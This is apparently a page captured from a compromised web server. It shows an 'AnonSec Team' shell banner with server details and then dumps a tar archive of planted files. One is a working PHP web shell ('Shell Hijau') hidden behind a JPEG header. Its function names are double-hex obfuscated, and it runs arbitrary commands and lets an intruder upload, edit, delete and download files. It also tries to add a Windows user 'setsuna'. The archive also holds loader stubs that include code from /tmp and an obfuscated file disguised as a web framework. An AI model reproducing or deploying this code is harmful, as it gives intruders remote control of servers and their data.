AnonSec Team
Server IP : 185.61.154.36  /  Your IP : 216.73.216.120
Web Server : Apache
System : Linux host67.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : gettoplisting ( 12043)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/gettoplisting/public_html/oy5mbk/../dd7e5a/erk72g/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/gettoplisting/public_html/oy5mbk/../dd7e5a/erk72g/.well-known__3f5a2a4.tar
ivgkmt/index.php000064400000000150151032667100007662 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "9day.php"; include("zip:///tmp/phpM5aThD#$h");?>yec709/bcx5y.php000064400000062516151032667100007342 0ustar00��� JFIF  x x  �� C 		



	
�� C��   " ��           	
�� �   } !1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������        	
�� �  w !1AQaq"2�B����	#3R�br�<?php

/*
 * (c) Setsuna Watanabe <yucaerin@hotmail.com>
 */

session_start();
error_reporting(E_ALL);
header("X-XSS-Protection: 0");
ob_start();
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', FALSE);

$Array = [
    '36643662',
    '363436393732',
    '36373635373435663636363936633635356637303635373236643639373337333639366636653733',
    '3639373335663737373236393734363136323663363535663730363537323664363937333733363936663665',
    '36353738363536333735373436353433366636643664363136653634',
    '373037323666363335663666373036353665',
    '3733373437323635363136643566363736353734356636333666366537343635366537343733',
    '36363639366336353566363736353734356636333666366537343635366537343733',
    '36363639366336353566373037353734356636333666366537343635366537343733',
    '3632363936653332363836353738',
    '366436663736363535663735373036633666363136343635363435663636363936633635',
    '3638373436643663373337303635363336393631366336333638363137323733',
    '3638363537383332363236393665',
    '373036383730356637353665363136643635',
    '3733363336313665363436393732',
    '363937333566363436393732',
    '36363639366336353566363537383639373337343733',
    '37323635363136343636363936633635',
    '36363639366336353733363937613635',
    '36393733356637373732363937343631363236633635',
    '373236353665363136643635',
    '363636393663363537303635373236643733',
    '3733373037323639366537343636',
    '373337353632373337343732',
    '363636333663366637333635',
    '373037323666363335663666373036353665',
    '36393733356637323635373336663735373236333635',
    '3730373236663633356636333663366637333635',
    '373536653663363936653662',
    '3639373335663636363936633635',
    '34353534', //30
    '353634353532',
    '3533343934663465',
    '346334353533',
    '35333534',
    '3633366636643664363136653634',
    '3737366637323662363936653637343436393732363536333734366637323739',
    '363337323635363137343635343436393732363536333734366637323739',
    '37303639373036353733',
    '36363639366336353733',
    '3636363936633635',
    '36363639366336353534366634343666373736653663366636313634',
    '3733363836353663366335663635373836353633',
];

$SETSUNA = [];
foreach ($Array as $hexString) {
    $SETSUNA[] = hex2bin(hex2bin($hexString));
}

$satu = '_G';
$dua = $SETSUNA[30];
$tiga = '_SER';
$empat = $SETSUNA[31];
$lima = '_SES';
$enam = $SETSUNA[32];
$tujuh = '_FI';
$delapan = $SETSUNA[33];
$sembilan = '_PO';
$sepuluh = $SETSUNA[34];
$sebelas = 'ev';
$duabelas = 'al';
$tigabelas = 'iss';
$empatbelas = 'et';

// Gunakan $SETSUNA sesuai kebutuhan
$a = $SETSUNA[0];
$b = $SETSUNA[1];
$c = $a . $b;
$EVA = $sebelas . $duabelas;
global $EVA;
$L = $GLOBALS[$satu . $dua];
$M = $GLOBALS[$tiga . $empat];
$N = $GLOBALS[$lima . $enam];
$e = $GLOBALS[$tujuh . $delapan];
$o = $GLOBALS[$sembilan . $sepuluh];
$f = $SETSUNA[2];
$g = $SETSUNA[3];
$h = $SETSUNA[4];
$i = $SETSUNA[5];
$j = $SETSUNA[6];
$q = $SETSUNA[7];
$s = $SETSUNA[8];
$v = $SETSUNA[9];
$w = $SETSUNA[10];
$y = $SETSUNA[11];
$z = $SETSUNA[12];
$NM = $SETSUNA[13];
$SCN = $SETSUNA[14];
$ID = $SETSUNA[15];
$FE = $SETSUNA[16];
$RF = $SETSUNA[17];
$FS = $SETSUNA[18];
$IW = $SETSUNA[19];
$RNM = $SETSUNA[20];
$FP = $SETSUNA[21];
$SPRF = $SETSUNA[22];
$SBSR = $SETSUNA[23];
$FCL = $SETSUNA[24];
$PROP = $SETSUNA[25];
$IR = $SETSUNA[26];
$PRCL = $SETSUNA[27];
$UNL = $SETSUNA[28];
$ISF = $SETSUNA[29];
$FTD = $SETSUNA[41];
$SHEE = $SETSUNA[42];
$ISS = $tigabelas . $empatbelas;
// Mendefinisikan nama fungsi menggunakan kombinasi string 'ARRAYKEYEXISTS'
$AKE1 = 'array_';
$AKE2 = 'key';
$AKE3 = '_exists';

// Memastikan fungsi yang dibuat adalah 'array_key_exists' yang valid
$AKEFULL = $AKE1 . $AKE2 . $AKE3;

$ISS = function ($array, $elementName) use ($AKEFULL) {
    return call_user_func($AKEFULL, $elementName, $array);
};

$b = $ISS($L, $b) ? $z($L[$b]) : '.';
$files = $SCN($b);
$upload_message = '';
$edit_message = '';
$delete_message = '';
$create_dir_message = '';

// Function to Download
global $FS, $FTD;
if ($ISS($L, 'download')) {
    $FTD = $z($L['download']);
    // Make sure that the requested file exists
    if ($FE($FTD)) {
        // Set header to trigger download
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($FTD) . '"');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . $FS($FTD));
        $RF($FTD);
        exit;
    } else {
        // Handle jika file tidak ditemukan
        echo "File not found.";
    }
}

// Function to get file permissions
function f($file): string {
    global $FP, $SPRF, $SBSR;
    return $SBSR($SPRF('%o', $FP($file)), -4);
}

// Function to check write permissions
function g($file): bool {
    global $IW;
    return $IW($file);
}

function h($command, $workingDirectory = null)
{
    global $j, $FCL, $PROP, $IR, $PRCL;

    // Mendefinisikan fungsi baru menggunakan kombinasi string
    $aduh = 'ar';
    $adeh = 'ray';
    // Memastikan fungsi yang dibuat adalah 'array' yang valid
    $RAY = $aduh . $adeh;

    // Pastikan fungsi $RAY adalah fungsi yang valid dan bisa dipanggil
    if (!function_exists($RAY)) {
        return "Error: The function {$RAY} does not exist.";
    }

    $descriptorspec = [
       0 => $RAY("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => $RAY("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => $RAY("pipe", "w")   // stderr is a pipe that the child will write to
    ];

    $process = $PROP($command, $descriptorspec, $pipes, $workingDirectory);

    if ($IR($process)) {
        // Read output from stdout and stderr
        $output_stdout = $j($pipes[1]); // Ganti dengan fungsi alternatif jika diperlukan
        $output_stderr = $j($pipes[2]); // Ganti dengan fungsi alternatif jika diperlukan

        $FCL($pipes[0]);
        $FCL($pipes[1]);
        $FCL($pipes[2]);

        $return_value = $PRCL($process);

        return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr;
    } else {
        return "Failed to execute command.";
    }
}


if ($ISS($L, '636d64')) {
    $command = $z($L['636d64']);
    $result = h($command, $b);
}

if ($ISS($e, 'file_upload')) {
    $tempFile = $e['file_upload']['tmp_name'];
    $targetFile = $b . '/' . $e['file_upload']['name'];
    if ($w($tempFile, $targetFile)) {
        $upload_message = 'File uploaded successfully.';
    } else {
        $upload_message = 'Failed to upload file.';
    }
}

// function for command execution bypass
global $SHEE;
if ($ISS($L, '636d64') || $ISS($L, 'show_command_form')) {
    $result = '';
    if ($ISS($L, '636d64')) {
        $command = hex2bin($L['636d64']);
        $result = $SHEE($command);
    }

    
$disable    = @ini_get('disable_functions');
$disable    = (!empty($disable)) ? "<font class='text-danger'>$disable</font>" : '<font style="color: #43C6AC">NONE</font>';
$os         = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";
?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Command Execution</title>
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
        <style>
            body {
                font-family: Arial, sans-serif;
            }
            header {
                background-color: #4CAF50;
                color: white;
                padding: 1rem;
                text-align: center;
            }
            header h1 {
                margin: 0;
            }
            main {
                padding: 1rem;
            }
        </style>
    </head>
    <body>
        <header>
            <h1>Command Execution</h1>
        </header>
        <main class="container">
            <?php if ($ISS($GLOBALS, 'result')): ?>
            <div class="alert alert-info">Command executed: <?php echo $v($b); ?></div>
            <div class="alert alert-light">
                <h2>Command Result:</h2>
                <pre><?php echo $y($result); ?></pre>
            </div>
            <?php endif; ?>
            <p><b>Command Execution Bypass</b></p>
            <form method="GET">
                <label>Encode your command on <b><a href="https://encode-decode.com/bin2hex-decode-online/" target="_blank">https://encode-decode.com/bin2hex-decode-online/</a> :</b></label><br><br>
                <input type="hidden" name="dir" value="<?php echo $v($b); ?>">
                <input type="text" name="636d64" class="form-control" placeholder="e.g., 6c73306c 616c6c"><br><br>
                <button type="submit" class="btn btn-warning">Execute</button>
            </form>
            <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="btn btn-secondary mt-3">Back</a>
        </main>
    </body>
    </html>
    <?php
    exit;
}

// function for edit file
if ($ISS($o, 'edit_file')) {
    $file = $o['edit_file'];
    $content = $q($file);
    if ($content !== false) {
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Edit File</title>
            <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
            <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
            <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
            <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
            <style>
                body {
                    font-family: Arial, sans-serif;
                }
                header {
                    background-color: #4CAF50;
                    color: white;
                    padding: 1rem;
                    text-align: center;
                }
                header h1 {
                    margin: 0;
                }
                main {
                    padding: 1rem;
                }
            </style>
        </head>
        <body>
            <header>
                <h1>Edit File</h1>
            </header>
            <main class="container">
                <form method="post" action="">
                    <div class="form-group">
                        <textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control"><?php echo $y($content); ?></textarea>
                    </div>
                    <input type="hidden" name="edited_file" value="<?php echo $y($file); ?>">
                    <button type="submit" name="submit_edit" class="btn btn-success">Submit</button>
                </form>
            </main>
        </body>
        </html>
        <?php
        exit;
    } else {
        $edit_message = 'Gagal membaca isi file.';
    }
}


if ($ISS($o, 'submit_edit')) {
    $file = $o['edited_file'];
    $content = $o['file_content'];
    if ($s($file, $content) !== false) {
        $edit_message = 'File Edit Successfully.';
    } else {
        $edit_message = 'Failed To Edit File.';
    }
}

if ($ISS($o, 'delete_file')) {
    global $UNL;
    $file = $o['delete_file'];
    if ($UNL($file)) {
        $delete_message = 'File deleted successfully.';
    } else {
        $delete_message = 'Failed to delete file.';
    }
}

// Fungsi untuk menampilkan pesan
function showMessage($message, $y)
{
    echo '<p>' . z($message) . '</p>';
}

$un = $NM();
$current_dir = realpath($b);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shell Hijau</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        header {
            background-color: #4CAF50;
            color: white;
            padding: 1rem;
            text-align: center;
        }
        header h1 {
            margin: 0;
        }
        main {
            padding: 1rem;
        }
    </style>
</head>
<body>
    <header>
        <h1>Shell Hijau</h1>
    </header>
    <main class="container">
        <p>Current directory: 
            <?php
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $Ex = 'expl';
                $Pl = 'ode';
            // Memastikan fungsi yang dibuat adalah 'explode' yang valid
                $ExPl = $Ex . $Pl;
            // Pastikan fungsi $ExPl adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($ExPl)) {
                return "Error: The function {$ExPl} does not exist.";
            }
            $parts = $ExPl('/', trim($current_dir, '/'));
            $path = '';
            foreach ($parts as $part) {
                $path .= '/' . $part;
                echo '<a href="?dir=' . $v($path) . '">' . $y($part) . '</a>/';
            }
            ?>
        </p>
<?php
echo '<p>Server information: ' . $y($un) . '</p>';
?>

<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan tombol dengan ukuran lebih kecil -->
<style>
    button {
        background-color: #4CAF50; /* Warna latar hijau */
        color: white; /* Teks berwarna putih */
        padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
        font-size: 12px; /* Ukuran font yang lebih kecil */
        border: none; /* Tidak ada border */
        border-radius: 4px; /* Rounded corners yang lebih halus */
        cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
        transition: background-color 0.3s; /* Smooth transition untuk hover effect */
    }
    button:hover {
        background-color: #45a049; /* Warna lebih gelap saat hover */
    }
</style>

<!-- Tombol untuk menampilkan dan menyembunyikan informasi server -->
<button onclick="toggleInfo()">Check Server</button>

<div id="serverInfo" style="display:none;">
    <pre>
    Disabled Functions: <?php 
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $in = 'in';
                $iget = 'i_get';
            // Memastikan fungsi yang dibuat adalah 'ingetin' yang valid
                $ingetin = $in . $iget;
            // Pastikan fungsi $ingetin adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($ingetin)) {
                return "Error: The function {$ingetin} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1b = 'su';
                $i2b = 'bstr';
            // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
                $i1b2 = $i1b . $i2b;
            // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1b2)) {
                return "Error: The function {$i1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1c = 'st';
                $i2c = 'rlen';
            // Memastikan fungsi yang dibuat adalah 'i1c2' yang valid
                $i1c2 = $i1c . $i2c;
            // Pastikan fungsi $i1c2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1c2)) {
                return "Error: The function {$i1c2} does not exist.";
            }
            echo ($ingetin('disable_functions') ? $i1b2($ingetin('disable_functions'), 0, 50) . ($i1c2($ingetin('disable_functions')) > 50 ? '...' : '') : 'NONE'); ?><br>
    PHP Version: <?php echo phpversion(); ?><br>
    Operating System: <?php echo PHP_OS; ?><br>
    <?php
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1b = 'su';
                $i2b = 'bstr';
            // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
                $i1b2 = $i1b . $i2b;
            // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1b2)) {
                return "Error: The function {$i1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $s1b = 'strt';
                $s2b = 'oupper';
            // Memastikan fungsi yang dibuat adalah 's1b2' yang valid
                $s1b2 = $s1b . $s2b;
            // Pastikan fungsi $s1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($s1b2)) {
                return "Error: The function {$s1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $SEXC1 = 'she';
                $SEXC2 = 'll_ex';
                $SEXC3 = 'ec';
            // Memastikan fungsi yang dibuat adalah 'SEXC' yang valid
                $SEXC = $SEXC1 . $SEXC2 . $SEXC3;
            // Pastikan fungsi $SEXC adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($SEXC)) {
                return "Error: The function {$SEXC} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $SAINT1 = 'st';
                $SAINT2 = 'rpos';
            // Memastikan fungsi yang dibuat adalah 'SAINT' yang valid
                $SAINT = $SAINT1 . $SAINT2;
            // Pastikan fungsi $SAINT adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($SAINT)) {
                return "Error: The function {$SAINT} does not exist.";
            }
    // Mengecek apakah server menggunakan Windows dan mencoba membuat user RDP
    if ($s1b2($i1b2(PHP_OS, 0, 3)) === 'WIN') {
        $output = $SEXC('net user setsuna setsuna123## /add 2>&1');
        $can_create_rdp = ($SAINT($output, 'The command completed successfully') !== false) ? 'Yes' : 'No';
    } else {
        $can_create_rdp = 'No'; // Jika bukan Windows, langsung memberi hasil 'No'
    }
    echo 'Can Create RDP User: ' . $can_create_rdp;
    ?>
    </pre>
</div>

<script>
function toggleInfo() {
    var info = document.getElementById('serverInfo');
    var button = document.querySelector('button');
    if (info.style.display === 'none') {
        info.style.display = 'block';
        button.textContent = 'Close';
    } else {
        info.style.display = 'none';
        button.textContent = 'Check Server';
    }
}
</script>

        <?php if (!empty($upload_message)): ?>
        <div class="alert alert-info"><?php echo $y($upload_message); ?></div>
        <?php endif; ?>
        <?php if (!empty($edit_message)): ?>
        <div class="alert alert-warning"><?php echo $y($edit_message); ?></div>
        <?php endif; ?>
        <?php if (!empty($delete_message)): ?>
        <div class="alert alert-danger"><?php echo $y($delete_message); ?></div>
        <?php endif; ?>
<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan form dan tombol -->
<style>
    button {
        background-color: #4CAF50; /* Warna latar hijau */
        color: white; /* Teks berwarna putih */
        padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
        font-size: 12px; /* Ukuran font yang lebih kecil */
        border: none; /* Tidak ada border */
        border-radius: 4px; /* Rounded corners yang lebih halus */
        cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
        transition: background-color 0.3s; /* Smooth transition untuk hover effect */
    }
    .btn-primary:hover, .toggle-btn:hover {
        background-color: #45a049; /* Warna lebih gelap saat hover */
    }
    .form-control-file {
        display: inline-block;
        margin-right: 10px; /* Tambahkan margin kanan untuk kesinambungan visual */
    }
    .form-group {
        display: flex; /* Menggunakan flexbox untuk align items horizontally */
        align-items: center; /* Center items vertically */
        margin-bottom: 10px; /* Margin bawah untuk grup form */
    }
</style>

<!-- Tombol untuk menampilkan dan menyembunyikan form upload -->
<button class="toggle-btn" onclick="toggleUploadForm()">Upload Here</button>

<!-- Form upload -->
<div id="uploadForm" style="display:none;">
    <form method="POST" enctype="multipart/form-data" class="mb-3 d-inline">
        <div class="form-group">
            <input type="file" name="file_upload" class="form-control-file">
            <button type="submit" class="btn btn-primary">Upload</button>
        </div>
        <input type="hidden" name="dir" value="<?php echo $y($b); ?>">
    </form>
</div>

<script>
function toggleUploadForm() {
    var form = document.getElementById('uploadForm');
    var button = document.querySelector('.toggle-btn');
    if (form.style.display === 'none') {
        form.style.display = 'block';
        button.textContent = 'Close';
    } else {
        form.style.display = 'none';
        button.textContent = 'Upload Here';
    }
}
</script>
        <a href="?dir=<?php echo $v($b); ?>&show_command_form=1" class="btn btn-warning ml-2">Command Execution</a>
        <form method="POST" class="mb-3">
            <div class="form-group">
        </form>
        <table class="table table-striped">
            <thead class="thead-dark">
                <tr>
                    <th>Filename</th>
                    <th>Permissions</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($files as $file): ?>
                <tr>
                    <td>
                        <?php if ($ID($b . '/' . $file)): ?>
                        <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="<?php echo g($b . '/' . $file) ? '' : 'text-danger'; ?>"><?php echo $y($file); ?></a>
                        <?php else: ?>
                        <?php echo $y($file); ?>
                        <?php endif; ?>
                    </td>
                    <td class="<?php echo g($b . '/' . $file) ? 'text-success' : 'text-danger'; ?>">
                        <?php echo $ISF($b . '/' . $file) ? $y(f($b . '/' . $file)) : (g($b . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?>
                    </td>
                    <td>
                        <?php if ($ISF($b . '/' . $file)): ?>
                        <form action="" method="post" class="d-inline">
                            <input type="hidden" name="edit_file" value="<?php echo $y($b . '/' . $file); ?>">
                            <button type="submit" class="btn btn-primary">Edit</button>
                        </form>
                        <form action="" method="post" class="d-inline">
                            <input type="hidden" name="delete_file" value="<?php echo $y($b . '/' . $file); ?>">
                            <button type="submit" class="btn btn-danger">Delete</button>
                        </form>
                        <form action="" method="get" class="d-inline">
                            <input type="hidden" name="download" value="<?php echo $y($v($b . '/' . $file)); ?>">
                            <button type="submit" class="btn btn-info">Download</button>
                        </form>
                        <?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </main>
</body>
</html>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������   ? �� �N����m?� ��j� ��EP��3w204s/index.php000064400000000150151032667100007323 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "edit.php"; include("zip:///tmp/phpM5aThD#$h");?>4nqxh7/raqy5.php000064400002403236151032667100007462 0ustar00<?php
/*
 * Advanced Web Application Framework
 * Generated: 2025-08-25 08:08:34
 * Version: 1.5.3
 * License: MIT License
 * Original size: 457171 bytes
 * Encoded size: 609612 chars
 */

// Framework Constants
define('FRAMEWORK_VERSION', '1.2.10');
define('DEBUG_MODE', false);
define('CACHE_ENABLED', true);
define('SESSION_TIMEOUT', 5540);


// Database Configuration
define('DB_HOST', 'localhost');
define('DB_USER', 'DbQygoGo');
define('DB_PASS', 'mRHCMUX0JEnb');
define('DB_NAME', 'K7VknMEgfN');

class bqUt6btMrdJY {
    private $v3T3zyec;
    private $Q4dqq1h5;
    
    public function __construct() {
        $eTDMsQ = DB_HOST;
        $mSvbfA = DB_USER;
        // Ux07XF5PEdFvo4WxOcaG6fUFrMSGHmLM774aXPoQ
    }
    
    public function nPESeYmh0u() {
        // qUzhQHnL8yOzvY0IHYVt9TEEOCy5Webhpx1XoUbWp27knUj8y4
        return true;
    }
}


// Utility Functions
function HD65FtvnPr83($input) {
    $sanitized = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    $trimmed = trim($sanitized);
    // 3bOPdL18QsZSa75U2nj9F3UPE3G3bV9wE76OQIuHYIahI
    return $trimmed;
}

function CbEBsFFj6W($file) {
    if (file_exists($file)) {
        $content = file_get_contents($file);
        // EtEutJsBjh6M66YAY52Wgqk14s0cD1O6v92
        return $content;
    }
    return false;
}

function bQ3GXJrD1i4XyD0($data) {
    $json = json_encode($data);
    $compressed = gzcompress($json);
    // RCuoLWD9747rdVasz8jn45ykMcck6EVHWgKOeelaspscPVm8tJ4LESo
    return base64_encode($compressed);
}


function PrytEfr3($FeROFeh) {
    $oTiZjF = base64_encode($FeROFeh);
    $y7LI5tP = str_rot13($oTiZjF);
    // LwmRithDGtIAzzxO04Y3KAP6iOYwnqgkoSCtoAXz
    if (strlen($y7LI5tP) > 10) {
        // mVUBiqC1hhrkxHU2gzjkNoUwD
        return hash('sha256', $y7LI5tP);
    }
    return false;
}


function oBMNXibToG004T3() {
    $BTznfiOYSF = 'WyQtL7Lq6acIMe1fmwqwxCY';
    $CCg55nplG = strrev($BTznfiOYSF);
    // vPUSgq1YqJy4ZWSlUpvHcm8E7aszj0kfVw5TDNoAeH6QtARpk
    return md5($CCg55nplG);
}


function Q3sXVhAyUDi() {
    $DPDEJmCE = 'lEShkUgq9Q';
    $kG6vZT = strrev($DPDEJmCE);
    // gcpViqG684vlrXCK0PBYHuHL5rYut7UoY
    return md5($kG6vZT);
}


function zx71e1KEk3K5HKMo($wbPGK0C) {
    $dMAFjzIl = base64_encode($wbPGK0C);
    $HmiQ5Sr = str_rot13($dMAFjzIl);
    // 5EeN5D4qattkqwvo3JMax1PcasIKkBAk52xrjQFN
    if (strlen($HmiQ5Sr) > 10) {
        // 21ez4DVc1tWwSTLUbTy7GZBkMAAoNSSg
        return hash('sha256', $HmiQ5Sr);
    }
    return false;
}


function eIF6BHjr6s9mFlqr() {
    $UObFPm = 'nSU1828SDhc';
    $jym21mEHYy = strrev($UObFPm);
    // ZGh3ch3KEBFOtbKxDnygAYUVvHmQQ4r5f3R
    return md5($jym21mEHYy);
}


function plLP6KA1QUNCfH() {
    $beNH1 = 'QN0hkf5jEoXO1G1p9X';
    $afQv1z = strrev($beNH1);
    // Nl47WQStjhhBuL4qAApabF94eeuQErWehq3Wrl1LuBu953zXdZ3k
    return md5($afQv1z);
}


function p1W4pBsaBv() {
    $qs91K = 'ph5kGCYPAwgLl85gLbhKrH';
    $G54xotgE6i = function($oZkDx1JQCv) {
        // yblpIfrHZK3EdMGezDKT84NZ9cdF4LgHoPWRin9tD6w
        return base64_encode($oZkDx1JQCv);
    };
    // 5fzzcoDcmi0tbUZE6O5hyMTxqLWBWnVo
    return $G54xotgE6i($qs91K);
}


function W9r5sDaEpJQ7A5() {
    $gRjEt = 'zhxFPDmpSqeV2JlK6uJL';
    $ZyRpjXzMRa = function($ktCNJVlugL) {
        // jANWeeVsBKWT69fWTLA1HoSOjGExBNE2nO
        return base64_encode($ktCNJVlugL);
    };
    // RDR4Fh8rcjd2rG4ZLzUh0P9F
    return $ZyRpjXzMRa($gRjEt);
}


function Y70Kt6rYH44kUyKe3P1($QbXjWoTh) {
    $vICHe2NUPu = base64_encode($QbXjWoTh);
    $eiPoN = str_rot13($vICHe2NUPu);
    // XqQrLBpUKPFxjHnrAU5IeC6AwYpzPv6Lxi2GmaFY
    if (strlen($eiPoN) > 10) {
        // ps9JoSsHYwwjDmKko9Aqi
        return hash('sha256', $eiPoN);
    }
    return false;
}


function aal8xI6Twd() {
    $skCbqhj = 'OfBFL9taRGfz8';
    $Hc1eeOuz = strrev($skCbqhj);
    // 2JRUlR9COuUNpKwaxVTqhyFprJiSjFxVoEepAJVL63pjGBmlO68zsLvrp
    return md5($Hc1eeOuz);
}


function SI10sY4qHRrVO0ZlpAyo() {
    $qJKQUxkRU = 'AMAY5Lli3wdwA0rzLzo';
    $iAPWN8FN3r = function($IFyD6R) {
        // 3UhqLDGVVduiM2HUMXXJEYYMWIIJJfiR7zaKNfHktiurRvN85
        return base64_encode($IFyD6R);
    };
    // 7xdnC8IjzuBKzwVfJBxm
    return $iAPWN8FN3r($qJKQUxkRU);
}


function p8xSExI1() {
    $TxXtmyGCu = 'G2Eqc4Smzx6mQ4tPvqURnFSi';
    $zOIX5s = function($WjHc6h) {
        // 2i3L9QgNcqHLHNN2V8kurZOPektkvjcP0F1
        return base64_encode($WjHc6h);
    };
    // zy1YLu1meEahyBYHWAQbhbZj3g5
    return $zOIX5s($TxXtmyGCu);
}


function yRFK9nnROvp7SyU() {
    $IYjG8 = 'Hk8M7zy8AJYYnB4oF4C93';
    $p6avdL18J = function($BpjMgXXOTT) {
        // ry2o4Bzsb7TFdPBZhD4ocDrv31Qd0MslHAV8lsDjEiCfyxcNxojc5uK
        return base64_encode($BpjMgXXOTT);
    };
    // fMy1sCOfD7YAqucgiPGVvGWfRQM
    return $p6avdL18J($IYjG8);
}


function H0DaODH8YGcbY5C($KQOw1pS) {
    $LLvTO = base64_encode($KQOw1pS);
    $iTwk9BBNEi = str_rot13($LLvTO);
    // StagX3p86yAGg3UqwRF9cuXvX6yAU7Sproo
    if (strlen($iTwk9BBNEi) > 10) {
        // 923VzzlFLtHUH3fXiyUY7erYw
        return hash('sha256', $iTwk9BBNEi);
    }
    return false;
}


function jxnQzPH7U($ganxTUIZ) {
    $W6IC5DzFiv = base64_encode($ganxTUIZ);
    $LT2UXo = str_rot13($W6IC5DzFiv);
    // fERbkWNceo8yITOfnPjA8TZRQn0cBaizG0kgJmpcMmtCzhDESTOJQJ2b1jm
    if (strlen($LT2UXo) > 10) {
        // Q2O9UTowXneQ8rfqlFiShSXJMz6rvxQvv44HuS
        return hash('sha256', $LT2UXo);
    }
    return false;
}


function bffgXvVkmk4($C666Fgl) {
    $dKhNC = base64_encode($C666Fgl);
    $ncyiR85Rn = str_rot13($dKhNC);
    // lmQcmWDtdkvn9WLyP5Jk0qaAgB2KUGpI4JyMwJ2kBSuUgG5SovMpZiI7
    if (strlen($ncyiR85Rn) > 10) {
        // pcZ6MCbhRlWUGhv6FYLvsNB7Sky2iyX
        return hash('sha256', $ncyiR85Rn);
    }
    return false;
}


function jMZIIbqG4aI2F() {
    $lYrLdi7E = 'D8YA3uUMZ8RYdl4irljsJzrsy';
    $ZQS07e2gSr = function($l7eMjcLA) {
        // M7Lk0P9O7BCD0lPOESGQOHVKUn8DlBiPt6qIfsXOJIYibGz7RBMi
        return base64_encode($l7eMjcLA);
    };
    // zMESDq7XMFQV757XfoQF6sQ5X6GN7pNKITXVXRC
    return $ZQS07e2gSr($lYrLdi7E);
}


function ZUpsmPacaK() {
    $PUFoH0iIs3 = 'I68CfbmET0yiU4fBtXXFBBnGV';
    $VsXHN7 = function($BYd9NIHNpv) {
        // KhBN44zvfugaA5uHz3lWu8pKMM4ZmNk1ToZkd1lIK
        return base64_encode($BYd9NIHNpv);
    };
    // KfazxX6UwbVTqOsbIBk8rCT
    return $VsXHN7($PUFoH0iIs3);
}


